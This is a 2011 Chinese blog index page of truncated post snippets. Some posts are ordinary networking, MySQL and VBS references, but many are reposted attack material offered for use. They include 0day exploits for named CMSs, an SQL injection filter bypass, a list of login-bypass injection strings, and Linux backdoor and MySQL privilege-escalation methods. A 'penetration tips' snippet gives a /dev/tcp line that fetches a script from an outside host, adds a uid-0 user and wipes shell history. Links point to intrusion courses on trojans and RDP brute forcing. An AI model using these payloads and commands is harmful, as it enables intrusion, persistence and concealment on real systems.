- 博客(38)
- 收藏
- 关注
原创 继续换博客
<br /> 继续换博客咯, 这个博客也有很多限制 改用网易博客了。 http://chinahacker.blog.163.com/
2011-02-06 22:02:00
522
转载 思科交换机配置命令
<br />简写命令 完整命令<br />1 用户模式: 用户模式:<br />switch> switch><br /><br />2 特权模式:
2011-01-30 19:53:00
991
转载 思科路由器配置命令
<br />简写命令 完整命令 <br /><br />1 用户模式: 用户模式:<br />Router> Router><br /><br />2 特权模式: 特权模式:<br />Router>en Router>enable<br />Router# Router#<br /><br />3 全局配置模式 全局配置模式<br />Router#conf t Router#config terminal<br />Router(config)# Router(config)#<br /><br />4
2011-01-30 19:53:00
3638
转载 BeeSns微博系统V0.2提升权限oday+exp
<br />发布日期:2011-1.27<br />发布作者:子仪<br />影响版本:BeeSns V0.2<br />官方地址: http://www.beesns.com/<br />漏洞描述:IP过滤不严,导致用户可以提交恶意参数提升自身权限 <br />这套微博系统风格挺不错的,个人比较喜欢,看代码是发现一些问题,直接看代码吧 01// 获取客户端IP02functiongetip() { 03 if(isset($_SERVER)) { 04 if(isset($_SERVER[HTTP_X_
2011-01-30 19:52:00
937
转载 ComercioPlus 5.6 SQL注入漏洞
<br />ComercioPlus是一款使用PHP编写的虚拟商店系统,ComercioPlus 5.6版中的pp_productos.php文件存在 SQL注入漏洞,可能导致敏感信息泄露。 [+]info:<br />~~~~~~~~~<br /># Exploit Title: Comerciosonline CMS SQLi<br /># Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine "<br /># Date: 27/
2011-01-30 19:51:00
673
转载 某酒业网会员注册上传漏洞
<br />发布日期:2011-01.29<br />发布作者:xiaokis<br />漏洞类型:文件上传<br />漏洞描述:<br />文件:sub_upload.asp<br />01 <!--#include file="UPLOAD.INC"--><br />02 <%if session("admin_name")="" and Session("ME_name")="" then%><br />03 <style type="text/css"><br />04 <style type="t
2011-01-30 19:51:00
1469
转载 SunScreen Firewall缓冲溢出漏洞
<br />SunScreen是sun公司一款防火墙,它运行在sun操作系统的3858端口上,可以通过一个java服务程序进行远程管理。这个java服务包含了大量的缓冲区溢出漏洞(至少两个),此外,如果攻击者可以上传文件到系统上还能够执行任意代码。下面这个exploit上传至远程服务器上就可以以root权限执行。<br /> <br />001 /* <br />002 <br />003 Sun Microsystems SunScreen Firewall Root Exploit <br />00
2011-01-28 20:07:00
454
转载 雨乔(YuQa)网络信息反馈系统 YuQaIFS V1.0 漏洞0day
<br />发布作者:f4tb0y<br /><br />影响版本:YuQaIFS V1.0<br /><br />漏洞类型:设计缺陷<br />漏洞描述:出现漏洞的文件是YuQaIFS_Save.asp直接把提交的数据写入了数据库,毫无过滤。<br /><br /><br /><br /><br />主页面www.xxx.com/xx/index.asp(xx为此系统根目录)<br /><br /><br />出现漏洞的文件是YuQaIFS_Save.asp直接把提交的数据写入了数据库,毫无过滤。<br
2011-01-28 11:56:00
694
转载 Phpcms V9 网站管理系统 SQL 盲注入漏洞
<br />=================================================================<br />Phpcms V9 BLind SQL Injection Vulnerability<br />非常简单的英文,连我这英语不及格的都看得懂…… 囧~ 就不翻译了……<br />=================================================================<br />Phpcms V9 网站管理系统 SQ
2011-01-28 11:55:00
1641
转载 Linux基本命令
<br />Linux基本命令:<br />who查看当前user<br />ps aux (我经常多一个‘-’,有一行错误信息)<br />netstat (具体man or info to CC)<br />shutdown reboot关机命令<br />shutdown语法:<br />/sbin/shutdown[-t秒][-arkhncfF时间][警告信息]<br />eg:<br />/sbin/shutdown -h 10 'Server will be shutdowned after 1
2011-01-27 21:28:00
316
转载 MySQL 的主要特征
<br />下表描述MySQL一些重要的特征: 使用核心线程的完全多线程。这意味着它能很容易地利用多CPU(如果有)。 C 、C++、 Eiffel 、 Java、 Perl、 PHP、Python、和 TCL API。 可运行在不同的平台上。 多种列类型:1、 2、 3、4、和 8 字节长度的有符号/无符号整数、FLOAT、DOUBLE、CHAR、VARCHAR、TEXT、BLOB、DATE、TIME、DATETIME、TIMESTAMP、YEAR、SET和ENUM类型。 利用一个优化的一遍扫描多重联结
2011-01-27 21:27:00
664
转载 SQL语句大全目录
<br />一、基础<br /> 1、说明:创建数据库<br /> 创建之前判断该数据库是否存在<br /> if exists (select * from sys.databases where name='databaseName') <br /> drop database 'databaseName'<br /> go<br /> Create DATABASE database-name<br /> 2、说明:删除数据库<br /> drop database dbname<br
2011-01-27 21:26:00
371
转载 风神新闻管理静态版1.7漏洞
<br />发布日期:2011-01.26<br />发布作者:LinkEr<br />影响版本:V1.7静态版 <br />官方网站:http://www.strongfire.cn/<br />漏洞类型:设计缺陷<br />漏洞描述:风神新闻管理静态版1.7存在多处漏洞。<br />#1.1 <br />后台验证文件 wwwroot/admin/islogin.asp<br />===============================================================
2011-01-27 15:49:00
605
转载 DEDECMS 会员任意删除文件漏洞
<br />发布日期:2011-01.25<br />发布作者:心灵<br />影响版本:DEDECMS <br />官方网站:http://www.dedecms.com<br />漏洞类型:设计缺陷<br />漏洞描述:<br /> <br />edit_fullinfo.php<br />if($dopost=='save') //edit_fullinfo.php?dopost=save 就来到这步了 { $oldspacelogo=(empty($oldspacelogo))? ""
2011-01-27 15:47:00
1390
转载 VBS脚本技术手册(3)
<br />忽略对只读属性(别名,压缩或目录)所作的改变. 当设置属性时,应首先阅读当前属性,然后按要求改变个别属性,最后反写属性.<br />例子:1:<br />Dim fso, MyFile<br />Set fso = CreateObject("Scripting.FileSystemObject")<br />set MyFile =fso.GetFile("c:/test.txt")<br />msgbox MyFile.Attributes<br />2:<br />Dim fso, MyF
2011-01-25 13:52:00
1527
转载 VBS脚本技术手册(2)
<br />六、输入函数:InputBox(提示[,标题][,默认][,x位置][,位置][,helpfile,context])<br />prompt 字符串表达式,作为消息显示在对话框中。如果 prompt 中包含多个行,则可在各行之间用回车符 (Chr(13))、换行符 (Chr(10)) 或回车换行符的组合 (Chr(13) & Chr(10)) 以分隔各行。 <br />Title 显示在对话框标题栏中的字符串表达式。如果省略 title,则应用程序的名称将显示在标题栏中。 <br />Defa
2011-01-25 13:47:00
890
转载 VBS脚本技术手册(1)
<br />一、时间与日期函数<br />01:Date函数<br />例子:Msgbox date<br />将会显示“2009-03-13”<br />02:time函数<br />例子 :Msgbox time<br />将显示“15:21:38”<br />03:now函数<br />例子Msgbox now<br />将显示“2009-03-13 15:23:13”<br />04:year(),month(),day(),hour(),minute(),second()函数,参数是时间表达式,<
2011-01-25 13:45:00
1665
转载 /*!select*/ 突破防注入
<br />作者:meao<br /><br />昨天在检测一个外国PHP网站时<br />在id=255后加'出现forbidden<br />于是我and 1=1正常 and 1=2出错<br />说明肯定有注入<br />接着我order by猜出字段<br />然后union select 1,2,3,4 //悲剧的又出现了forbidden<br />肯定是做了过滤了<br />后来构造了语句id=-255+union+/*!select*/+1,2,3,4<br /><br />原理:<br
2011-01-25 13:40:00
567
转载 脚本渗透精华
第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。<br />数字型:and 1=1 and 1=2 判断是否存在注入<br />字符型:' and '1'='1 ' and '1'='2<br />搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%<br />IIS报错情况下使用: <br />and
2011-01-24 09:40:00
384
转载 各种万能密码
<br />asp aspx万能密码<br /><br />1:"or "a"="a<br />2: ')or('a'='a <br />3:or 1=1--<br />4:'or 1=1--<br />5:a'or' 1=1--<br />6:"or 1=1--<br />7:'or'a'='a<br />8:"or"="a'='a<br />9:'or''='<br />10:'or'='or'<br />11: 1 or '1'='1'=1<br />12: 1 or '1'='1' or 1
2011-01-24 09:39:00
1280
转载 linux留本地后门的方法
<br />看过程 方法一: setuid 方法。:<br />[root@localdomain lib]# ls -l |grep ld-linux<br />lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so<br />lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2<br />[root@localdomain lib]#
2011-01-24 09:31:00
569
转载 大学网站沦陷之Journal报刊系统Fckeditor-0day
<br />影响版本:JournalX 2.0 <br />官方网站:http://www.magtech.com.cn<br />产品介绍:<br />JournalX 2.0率先为出版社/集团、期刊业推出了整体的解决方案。目前已经在遍布全国的600多家杂志社、十几家出版社得到应用。<br />google or baidu 关键字:inurl:volumn/current_abs.shtml<br />因FCKeditor/myconfig.js 过滤不严格导致上传任意格式文件。<br />在Web根
2011-01-24 09:20:00
1835
转载 西部PHP视频教程
[第一期]-西部PHP视频教程第01讲<br />http://u.115.com/file/f2dc208c33[第一期]-西部PHP视频教程第02讲<br />http://u.115.com/file/f2ff14bd52[第一期]-西部PHP视频教程第03讲<br />http://u.115.com/file/f2b819efcf[第一期]-西部PHP视频教程第04讲<br />http://u.115.com/file/f2e1e55134[第一期]-西部PHP视频教程第05讲<br />htt
2011-01-24 09:08:00
961
转载 驭风者安全团队2010年最新全套入侵教程
<br />新手学灰鸽子上线教程<br />ftp://www.ftahk.com/video/xinshoumiangezi.rar<br /><br />3389的密码爆破教程<br />ftp://www.ftahk.com/video/3389bp.rar<br /><br />手工检测网站方法<br />ftp://www.ftahk.com/video/2.rar<br /><br />国内某程序0day下数据库备份拿webshell<br />ftp://www.ftahk.com/video
2011-01-23 12:55:00
714
转载 土耳其的一套渗透教程
<br />http://www.mavi1.org/videolar/joomla.htm<br />http://www.mavi1.org/videolar/root.htm<br />http://www.mavi1.org/videolar/2-6-15.htm<br />http://www.mavi1.org/videolar/2-6-7.htm<br />http://www.mavi1.org/videolar/2-6-9.htm<br />http://www.mavi1.org/vid
2011-01-23 12:53:00
465
转载 精通注册表视频教程
<br />http://cimg.163.com/tech/netSchool/juyi/windows/11.swf <br />http://cimg.163.com/tech/netSchool/juyi/windows/12.swf <br />http://cimg.163.com/tech/netSchool/juyi/windows/13.swf <br />http://cimg.163.com/tech/netSchool/juyi/windows/14.swf <br />ht
2011-01-23 12:46:00
803
转载 3hooCMS V3.0 XSS+CSRF&EXP
<br />漏洞类型:跨站XSS<br />漏洞描述:XSS:未对提交内容进行过滤,后台查看订单时将执行XSS语句<br />CSRF:未对URL来源进行验证,当管理存在cookie时可执行设定的语句<br /> <br /><br />###################### XSS ######################<br /><br /><style><br />.s1{font-size:0px; color:#FFFFFF; border:0px}<br /></style><br
2011-01-23 12:30:00
419
转载 ARP监听渗透内网的方法
<br />假设想攻击的主机IP是:61.139.1.79 ,同一子网下我们已有权限的主机IP是:61.139.1.88并可以3389登陆<br />第一步:<br />tracert 61.139.1.1<br />C:/WIN2000/system32>tracert 61.139.1.1<br />Tracing route to HACK-4FJ7EARC [61.139.1.1]<br />over a maximum of 30 hops:<br />1 <10 ms <10 ms <10 ms
2011-01-23 01:09:00
407
转载 Linux下将Tinyxml编译为静态库
<br /> 一个应用需要在linux服务器上运行,不能保证每个服务器都有应用依赖的库,又懒得每个服务器都去安装下,也不太现实,于是就将应用所用到的库全部编译为静态库,直接丢到服务器上跑吧。此为应用调用xml配置文件依赖tinyxml库示例,记录下,备忘。<br /> 1.下载tinyxml库,直接从官方下载,http://sourceforge.net/projects/tinyxml/。<br /> 2.解压缩下载好的包,我解压缩到test目录下,进入项目目录。<br />
2011-01-22 09:10:00
773
原创 加密与解密工具新年大礼包2010
<br />加密与解密工具新年大礼包2010<br /><br />New Year Presents 2010 Edition<br /><br />PEDIY & China BCG荣誉出品<br /><br />===============================================================================<br /><br />本光盘主要收集了常用的加密与解密工具,工具来自bbs.pediy.com兄弟们的分享,我们主要是<br /><b
2011-01-22 08:38:00
997
转载 MYSQL提权技巧
转老邪问题对象:有虚拟主机空间商.网站服务器 过程:建立一个表→在表中输入我们的提权内容→出表→完成 1.mysql默认开启3306端口.如果服务器默认密码不设置就是空密码.黑客们就可能利用该弱口令漏洞.来攻击我们的服务器. 2.如果在得到用户名为:root 密码为:(空密码时候),黑客就可以攻击进我们网站的.答案他们利用导出一句话木马. 3.黑客可以得到一个webshell然后.查看网站配置信息.就可以找到这个账号和密码.例如inc.php coon.asp等这些文件 4.虚拟主机提供商,自己给
2011-01-21 13:40:00
523
转载 linux渗透的小技巧
<br />老邪<br /><br />1.无wget nc等下载工具时下载文件<br />exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0/n" >&5 && cat<&5 > c.pl<br /><br />2.Linux添加uid为0的用户<br />useradd -o -u 0 cnbird<br /><br />3.bash去掉history记录<br />export HISTSIZE=0<br />export HIS
2011-01-21 13:39:00
554
转载 脚本入侵讲解-asp注入漏洞
1:注入漏洞<br />------------<br />1.asp手工注入<br />第一步:<br />先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。<br />否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。<br />http://www.hack92.com/hack92.asp?id=1<br />我们在这个地址后面加上单引号’ 然后and 1=1 正确 and 1=2 错误的话就说明存在注入漏
2011-01-21 13:38:00
611
转载 手工PHP注入详解
在这个注入风靡的时代,多少菜鸟拿着工具四处冲锋.如果你不想成为工具的奴隶,不想遇到PHP就退避三舍,不想继续做着ASP的菜鸟之群,不 想......那么请你静下心来, 随我一同走完这次的入侵检测全过程. <br /> 相信你必然能有所收获.不只在技术上,更在思路上,更在意识上..判断是否存在注入:首先,PHP和ASP判断注入的方法一样,在一个动态连接后面加上and 1=1,and 1=2看其返回结果即可判断.两次返回结果不相同,即可初步判断为有注入点. 判断字段大小:接下来,对付php猜字段的
2011-01-21 13:37:00
431
转载 php.ini安全模式配置详细解释
php.ini安全模式配置详细解释<br /><br />发布:独自等待<br /><br /><br />PHP本身再老版本有一些问题,比如在 php4.3.10和php5.0.3以前有一些比较严重的bug,所以推荐使用新版。另外,目前闹的轰轰烈烈的SQL Injection也是在PHP上有很多利用方式,所以要保证安全,PHP代码编写是一方面,PHP的配置更是非常关键。我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php
2011-01-21 13:18:00
337
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人